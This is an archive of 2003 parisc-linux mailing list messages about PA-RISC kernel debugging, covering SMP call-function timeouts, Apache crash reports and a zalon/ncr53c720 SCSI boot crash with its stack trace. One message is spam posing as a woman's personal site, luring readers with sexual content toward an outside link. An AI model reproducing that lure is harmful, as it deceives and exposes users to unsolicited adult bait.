	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:46:17 -0600 (MDT)
Original-Received: from sisko.scot.redhat.com (localhost [127.0.0.1])
	by sisko.scot.redhat.com (8.12.8/8.12.8) with ESMTP id h8QEg89T012629;
	Fri, 26 Sep 2003 15:42:08 +0100
Original-Received: (from sct@localhost)
	by sisko.scot.redhat.com (8.12.8/8.12.8/Submit) id h8QEg7C7012627;
	Fri, 26 Sep 2003 15:42:07 +0100
X-Authentication-Warning: sisko.scot.redhat.com: sct set sender to sct@redhat.com using -f
In-Reply-To: <20030926072059.0447b074.davem@redhat.com>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19628

Hi,

On Fri, 2003-09-26 at 15:20, David S. Miller wrote:

> Any page can be mremap()'d to any other address.

Yep.  At least this case is rare, and you can optimise for the simple
case by checking page->count.  But the general case really does need to
be covered if you're going to be fully correct for all cases.

And with O_DIRECT being an unprivileged operation, users have the
ability to expose this problem quite easily.

Cheers,
 Stephen



From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Fri, 26 Sep 2003 17:46:35 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <3F704CAF00001DCF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622814 31629 80.91.229.3 (22 Nov 2014 02:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 09:46:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C7ED4856
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 09:46:38 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A2unk-00067t-00; Fri, 26 Sep 2003 17:46:36 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 26 Sep 2003 17:46:35 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19629

>Yes - 6 is ITLB miss and 15 is Data TLB miss.
...
>
>> handle_interruption(26, ...).
>
>26 is "Data Memory Access rights Trap".
>This sounds normal for Copy-On-Write.

Yes to be sure I just finished to logon a b2k with same kernel (excepted
pdc support but I already verify it doesn't make any difference in the crash
in smp on the N) and effectively it is normal to read many 6, 15 and 26
interruptions.

>> SMP CALL FUNCTION TIMED OUT (CPU=1)
>
>The IPI handler will time out if the other CPU doesn't ack
>the function call with in a second. This is bad.

OTC This is the better messages I never get to start an analyse of this crash
:))

>It means either other CPU never got the interrupt (locked up
>with I-bit off) or the "unstarted_count" isn't coherent between the CPUs.

hmm how could I verify this hypothesis?

>>
>> Could this be a pb with sync between cpu time ref?
>> (because timeout = jiffies + HZ)
>
>I don't think so since jiffies is a global.
>And it's always be measured on the same CPU.
Ok
>
>> I have also a look for where this function is called but never see its
return
>> code tested to launch a 'stack dump' and a stop of system?
>
>You need to find out who is using smp_call_function() and which function
>they are trying to invoke. I suspect it's coming from mm/slab.c but
>would know which of the three it might be.

Effectively I don't find another place where it is called. And so add a
printk in each function calling smp_call_function_all_cpus() finaly.

That is allowing me to notice severall call to kmem_tune_cpucache() (7 exactly)
(and not other) but don't get any more 'SMP CALL FUNCTION TIMED OUT (CPU=1)'
:(
(i presume that, as previously, the system crash before having the opportunity
to flush its buffer?)

What do you think?

Thanks a lot for help,
    Joel




-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Fri, 26 Sep 2003 18:08:29 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3F704CAF00001DEB@ocpmta2.freegates.net>
References: <3F704CAF00001DCF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622814 31634 80.91.229.3 (22 Nov 2014 02:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 10:08:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D52A4856
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 10:08:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A2v8v-0000t6-00; Fri, 26 Sep 2003 18:08:29 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 26 Sep 2003 18:08:29 +0200
In-Reply-To: <3F704CAF00001DCF@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19630

>
>That is allowing me to notice severall call to kmem_tune_cpucache() (7 exactly)
>(and not other) but don't get any more 'SMP CALL FUNCTION TIMED OUT (CPU=1)'
>:(
>(i presume that, as previously, the system crash before having the opportun
>ty to flush its buffer?)

btw: does it exists some tips to flush buffer before all (or not buffering
console ouput)?


-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel error message.
Date: Fri, 26 Sep 2003 10:41:39 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030926164139.GA11759@dsl2.external.hp.com>
References: <35989.192.168.66.99.1064533174.squirrel@www.zinkens.net> <20030926070329.GA12671@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622815 31640 80.91.229.3 (22 Nov 2014 02:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:15 +0000 (UTC)
Cc: mlist@zinkens.net, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 10:41:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A4528483E; Fri, 26 Sep 2003 10:41:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030926070329.GA12671@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19631

On Fri, Sep 26, 2003 at 12:03:29AM -0700, Randolph Chung wrote:
> Your apache is crashing randomly :( I think mkp said he was seeing this
> problem as well and was trying to debug it.

I haven't been seeing that with either apache or apache2.

On a500 (64-bit, 2.4.21-pa6) running testing:
ii  apache         1.3.27.0-2     Versatile, high-performance HTTP server

On c3k (32-bit, 2.4.22-pa7) running testing:
ii  apache2-common 2.0.47-1       Next generation, scalable, extendable web se
ii  apache2-mpm-pr 2.0.47-1       Traditional model for Apache2

Neither is heavily loaded but can see bursts of load at times.

hth,
grant


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Fri, 26 Sep 2003 10:50:45 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20030926165045.GB11759@dsl2.external.hp.com>
References: <3F704CAF00001DCF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622815 31641 80.91.229.3 (22 Nov 2014 02:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 10:50:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 69C2F483E; Fri, 26 Sep 2003 10:50:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F704CAF00001DCF@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19632

On Fri, Sep 26, 2003 at 05:46:35PM +0200, Joel Soete wrote:
> >It means either other CPU never got the interrupt (locked up
> >with I-bit off) or the "unstarted_count" isn't coherent between the CPUs.
> 
> hmm how could I verify this hypothesis?

TOC the machine, "ser pim" and look at PSW in TOC Info for each CPU.
bit 0 is the I-Bit IIRC.

On second thought, I'm skeptical unstarted_count isn't coherent
since it's a kernel global as well (like jiffies).

> >You need to find out who is using smp_call_function() and which function
> >they are trying to invoke. I suspect it's coming from mm/slab.c but
> >would know which of the three it might be.
> 
> Effectively I don't find another place where it is called. And so add a
> printk in each function calling smp_call_function_all_cpus() finaly.
> 
> That is allowing me to notice severall call to kmem_tune_cpucache() (7 exactly)
> (and not other) but don't get any more 'SMP CALL FUNCTION TIMED OUT (CPU=1)'
> :(
> (i presume that, as previously, the system crash before having the opportunity
> to flush its buffer?)
> 
> What do you think?

Could be.
Add mdelay(100) (or higher) after the lines of output you've added.
The works if it's a functional problem that's not timing dependent.

Otherwise setup kernel crash dump and use tools from bruno/phi to view
contents of the kernel message buffer.

grant


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel error message.
Date: Fri, 26 Sep 2003 19:15:29 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <076D6328-F045-11D7-A569-0030656F07A2@esiee.fr>
References: <20030926164139.GA11759@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622815 31644 80.91.229.3 (22 Nov 2014 02:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:15 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, mlist@zinkens.net,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 11:15:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4786D4856
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 11:15:38 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 06BDA49BF2; Fri, 26 Sep 2003 19:15:37 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4B60649BE9; Fri, 26 Sep 2003 19:15:36 +0200 (CEST)
In-Reply-To: <20030926164139.GA11759@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19633

http://pateam.esiee.fr/ has been running apache on 2.4.18-pa45 for=20
years now
(see http://uptime.netcraft.com/up/graph/?host=3Dmkhppa1.esiee.fr )
and no problem have ever been experienced...

you can check the load on the website...

HTH


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

Le vendredi, 26 sep 2003, =E0 18:41 Europe/Paris, Grant Grundler a =E9crit=
 :

> On Fri, Sep 26, 2003 at 12:03:29AM -0700, Randolph Chung wrote:
>> Your apache is crashing randomly :( I think mkp said he was seeing=20
>> this
>> problem as well and was trying to debug it.
>
> I haven't been seeing that with either apache or apache2.
>
> On a500 (64-bit, 2.4.21-pa6) running testing:
> ii  apache         1.3.27.0-2     Versatile, high-performance HTTP=20
> server
>
> On c3k (32-bit, 2.4.22-pa7) running testing:
> ii  apache2-common 2.0.47-1       Next generation, scalable,=20
> extendable web se
> ii  apache2-mpm-pr 2.0.47-1       Traditional model for Apache2
>
> Neither is heavily loaded but can see bursts of load at times.
>
> hth,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sherry Sosa" <zjq9bdtpq@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Whats Happening?
Date: Fri, 26 Sep 03 11:37:28 GMT
Lines: 31
Approved: news@gmane.org
Message-ID: <69lz-0-r$----870$po$9v$0m0sq@99s0.4.qpyqd7>
Reply-To: "Sherry Sosa" <zjq9bdtpq@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_5C.7A5...F6._BCAEAFB3C"
X-Trace: ger.gmane.org 1416622815 31648 80.91.229.3 (22 Nov 2014 02:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:15 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 14:41:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8A84486E
	for <parisc-linux@parisc-linux.org>; Fri, 26 Sep 2003 14:41:04 -0600 (MDT)
Original-Received: from c-67-168-137-134.client.comcast.net (c-67-168-137-134.client.comcast.net [67.168.137.134])
	by cuprel1.hp.com (Postfix) with SMTP id 2ADF21180
	for <parisc-linux@parisc-linux.org>; Fri, 26 Sep 2003 13:41:02 -0700 (PDT)
Original-Received: from [113.183.214.55] by c-67-168-137-134.client.comcast.net with ESMTP id A0B3ECE36DF; Fri, 26 Sep 2003 11:37:28 -0600
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19634

--_5C.7A5...F6._BCAEAFB3C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#CC66FF"><div align=3D"center">
  <font face=3D"Arial, Helvetica, sans-serif" size=3D"5">Sophie's <b>Perso=
nal</b> 
  Website</font><br><table width=3D"591" height=3D"92"><tr> 
      <td height=3D"125"><b><font face=3D"Verdana, Arial, Helvetica, sans-=
serif" size=3D"2">Hey!</font></b><font face=3D"Verdana, Arial, Helvetica, =
sans-serif" size=3D"2"> 
        My name's Sophie and I'm just letting you know that I have just la=
unched 
        my site full of heaps of sexy <a href=3D"http://www.freemember.us/=
sp/index.html">pictures and videos</a> of me!! 
        If you want to see a movie of me just <a href=3D"http://www.freeme=
mber.us/sp/index.html">click here!</a><br>
        <br>
        I want to make it big as a model. I hope you think I have what it =
takes 
        and maybe you'll be seeing a lot more of me very soon! I really ho=
pe you 
        enjoy the <a href=3D"http://www.freemember.us/sp/index.html">video=
s!</a></font></td>
    </tr></table><br><font face=3D"Arial, Helvetica, sans-serif" size=3D"5=
"><a href=3D"http://www.freemember.us/sp/index.html">Click here to 
  see Sophie in action now!</a></font></div></body>

--_5C.7A5...F6._BCAEAFB3C--



From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: Fri, 26 Sep 2003 21:43:08 -0600
Lines: 95
Approved: news@gmane.org
Message-ID: <1064634188.641.27.camel__46722.3352905878$1416622816$gmane$org@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622816 31651 80.91.229.3 (22 Nov 2014 02:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: linux-scsi@vger.kernel.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 21:43:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2479483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 21:43:12 -0600 (MDT)
Original-Received: from 6-allhosts (unknown [10.0.230.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id A9DAC2B101; Fri, 26 Sep 2003 21:43:11 -0600 (MDT)
X-Mailer: Ximian Evolution 1.4.4 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19635

Hello all,

The zalon/ncr53c720 combination is fatal during booting on my K460
parisc box.  I believe the scsi termination is correct since I performed
a fresh debian install on the scsi disks and I can boot from then every
time I use a 2.4 kernel :)  This problem appeared with with the latest
cvs kernel from parisc-linux.org.

This system does boot and function when I do not compile zalon support
into the kernel and use a nfsroot.

I can provide addtional information and test patches (or give access to
this system) if requested.

Any thoughts or feedback appreciated!  

Thanks,

- Ryan

P.S. please copy me on any replies as i am not subscribed to the
linux-scsi list.


Here is the relevant (I hope) information I copied from the bootup

Linux version 2.6.0-test5-pa20 (rbrad@beavis) (gcc version 3.0.3) #34
Fri Sep 26 21:09:34 MDT 2003


zalon_probe: Zalon vers field is 0x1, IRQ 36
ncr53c720-0: rev 0xf on bus 0 device 0 function 0 irq 36
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: suspicious SCSI data while resetting the BUS.
ncr53c720-0: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o =
0x3fdff00, expecting 0x100
ncr53c720-0: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE
POWER etc.!
ncr53c720-0: detaching...

 
Kernel addresses on the stack:
 [<101227bc>] copy_process+0x714/0xa4c
 [<10104144>] parisc_terminate+0x60/0xb0
 [<1010c264>] pdc_iodc_putc+0x88/0x11c
 [<101043e0>] handle_interruption+0x24c/0x598
 [<1010c264>] pdc_iodc_putc+0x88/0x11c
 [<10140b40>] do_drain+0x1c/0x2c
 [<101404c4>] slab_destroy+0x15c/0x208
 [<10109088>] intr_check_sig+0x0/0xc
 [<10140c0c>] __cache_shrink+0x70/0xc4
 [<10220640>] ncr_detach+0x0/0x364
 [<101238f0>] call_console_drivers+0xac/0x170
 [<1015747c>] dentry_open+0x78/0x1b0
 [<10123cc8>] release_console_sem+0x64/0x11c
 [<101573e4>] filp_open+0x4c/0x6c
 [<10348518>] start_kernel+0x4/0x1b8
 [<101e0780>] gsc_alloc_irq+0x38/0x68
 [<10358dec>] zalon_probe+0x1b0/0x230
 [<1018c548>] sysfs_create+0x94/0xe4
 [<1018cf6c>] create_dir+0x80/0xe0
 [<1010cc44>] parisc_driver_probe+0x30/0x60
 [<101fa208>] bus_match+0x4c/0x80
 [<101fa384>] driver_attach+0x88/0xbc
 [<101fa604>] bus_add_driver+0x98/0xa4
 [<1035888c>] tulip_init+0x40/0x74
 [<10348744>] do_initcalls+0x64/0xe0
 [<1010019c>] init+0x28/0x144
 [<10108c5c>] ret_from_kernel_thread+0x1c/0x24

Kernel Fault: Code=26 regs=effb8380 (Addr=00000194)
 
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111100001111 Not tainted
r00-03  00000000 1030a810 10224b2c efffb6e0
r04-07  00000000 efffb688 00000024 10318010
r08-11  efffb600 ffffffed 102f3810 10348518
r12-15  000000f2 000000fa 00000003 f0000d2c
r16-19  f0001790 f0000124 f000011c 00000021
r20-23  10315a40 00000021 0000000f 00100100
r24-27  000002c7 103d9380 00000000 102ea010
r28-31  00000000 0000000b effb8380 101415e8
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000
 
IASQ: 00000000 00000000 IAOQ: 10224b28 10220640
 IIR: 4b5a0328    ISR: 00000000  IOR: 00000194
 CPU:        0   CR30: effb8000 CR31: 1033e000
 ORIG_R28: 102f3810
 IAOQ[0]: ncr53c8xx_release+0xc/0x20
 IAOQ[1]: ncr_detach+0x0/0x364
 RP(r2): ncr53c8xx_release+0x10/0x20




From - Thu Nov 08 21:29:20 2018
